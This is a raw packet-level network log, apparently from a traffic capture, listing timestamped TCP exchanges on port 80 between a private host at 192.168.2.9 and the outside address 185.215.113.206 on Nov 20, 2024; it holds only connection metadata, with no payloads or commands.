Nov 20, 2024 16:50:30.547348022 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.548229933 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.548274994 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.548388004 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.548433065 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.549544096 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.549601078 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.549721003 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.549767971 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.550654888 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.550700903 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.550843954 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.550888062 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.551712036 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.551763058 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.551886082 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.551932096 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.553004980 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.553050995 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.553184032 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.553226948 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.554224968 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.554239035 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.554295063 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.554295063 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.555299997 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.555362940 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.555450916 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.555500031 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.556304932 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.556354046 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.556462049 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.556512117 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.557611942 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.557661057 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.557821035 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.557871103 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.558958054 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.558971882 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.559014082 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.559029102 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.559947968 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.559999943 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.560122967 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.560170889 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.560702085 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.560750008 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.560889006 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.560935974 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.561825991 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.561872959 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.561911106 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.561954975 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.564794064 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.564841986 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.564996004 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.565042973 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.565162897 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.565176010 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.565207958 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.565222979 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.565886974 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.565937996 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.566556931 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.566602945 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.567152023 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.567166090 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.567254066 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.568109035 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.568120956 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.568164110 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.568869114 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.568919897 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.568938971 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.568979979 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.570008993 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.570075989 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.570137978 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.570184946 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.571166039 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.571232080 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.571274042 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.571331978 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.572462082 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.572520971 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.572868109 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.572922945 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.573509932 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.573561907 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.573596954 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.573656082 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.625348091 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.625406027 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.625456095 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.625499010 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.625688076 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.625731945 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.625886917 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.625930071 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.626091957 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.626135111 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.629189014 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.629201889 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.629252911 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.629344940 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.629357100 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.629368067 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.629398108 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.629417896 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.629654884 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.629698992 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.630584955 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.630598068 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.630640030 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.630805969 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.630852938 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.630947113 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.630990982 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.631881952 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.631927967 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.631966114 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.632010937 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.632838011 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.632889986 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.632953882 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.632997036 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.635786057 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.635834932 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.636081934 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.636127949 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.636833906 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.636846066 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.636862040 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.636874914 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.636874914 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.636902094 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.636929989 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.637453079 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.637497902 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.637638092 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.637681007 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.638417006 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.638463974 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.638571024 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.638618946 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.639463902 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.639524937 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.639630079 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.639677048 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.640319109 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.640369892 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.640472889 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.640517950 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.641295910 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.641350031 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.673496008 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.673552036 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.673582077 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.673623085 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.673948050 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.673988104 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.674058914 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.674098969 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.674952984 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.674994946 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.675056934 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.675092936 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.678400040 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.678414106 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.678426981 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.678440094 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.678452969 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.678455114 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.678481102 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.678494930 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.678729057 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.678766012 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.679708958 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.679722071 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.679754019 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.679786921 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.680522919 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.680569887 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.680800915 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.680852890 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.681519032 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.681570053 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.681664944 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.681708097 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.682594061 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.682606936 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.682635069 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.682660103 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.755072117 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.755153894 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.755193949 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.755228043 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.755299091 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.755434036 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.755464077 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.755511999 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.756257057 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.756306887 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.756442070 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.756488085 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.757586002 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.757637024 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.757771015 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.757812023 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.758565903 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.758610010 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.758747101 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.758789062 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.759362936 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.759404898 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.759541988 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.759581089 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.760360003 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.760374069 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.760404110 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.760474920 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.761301994 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.761365891 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.761451960 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.761492014 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.762303114 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.762315989 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.762353897 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.763247013 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.763289928 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.763446093 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.763489008 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.764189959 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.764235020 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.764370918 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.764411926 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.765180111 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.765224934 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.765446901 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.765491009 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.766406059 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.766419888 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.766454935 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.767333031 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.767379999 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.767505884 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.767545938 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.768296003 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.768336058 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.768472910 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.768516064 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.769301891 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.769344091 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.769479036 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.769520998 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.770206928 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.770252943 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.770337105 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.770381927 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.770591974 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.770605087 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.770638943 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.771291971 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.771352053 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.771398067 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.771441936 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.772242069 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.772286892 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.772413015 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.772474051 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.773205042 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.773252964 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.773336887 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.773380041 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.774358034 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.774403095 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.774473906 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.774514914 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.775207996 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.775244951 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.775253057 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.775281906 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.776217937 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.776261091 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.776304007 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.776346922 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.777169943 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.777220011 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.777266979 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.777308941 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.778155088 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.778198957 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.778250933 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.778292894 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.779134989 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.779177904 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.779242992 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.779318094 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.837034941 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.837143898 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.837222099 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.837270021 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.837538004 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.837591887 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.837718010 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.837766886 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.838403940 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.838457108 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.838555098 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.838603020 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.839580059 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.839633942 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.839715958 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.839765072 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.840579987 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.840629101 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.840759039 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.840807915 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.841799974 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.841849089 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.841944933 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.841993093 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.842521906 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.842536926 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.842569113 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.842582941 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.843554974 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.843568087 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.843609095 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.844407082 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.844470978 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.844561100 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.844615936 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.845451117 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.845498085 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.845603943 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.845652103 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.846482992 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.846528053 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.846633911 CET	80	49707	185.215.113.206	192.168.2.9
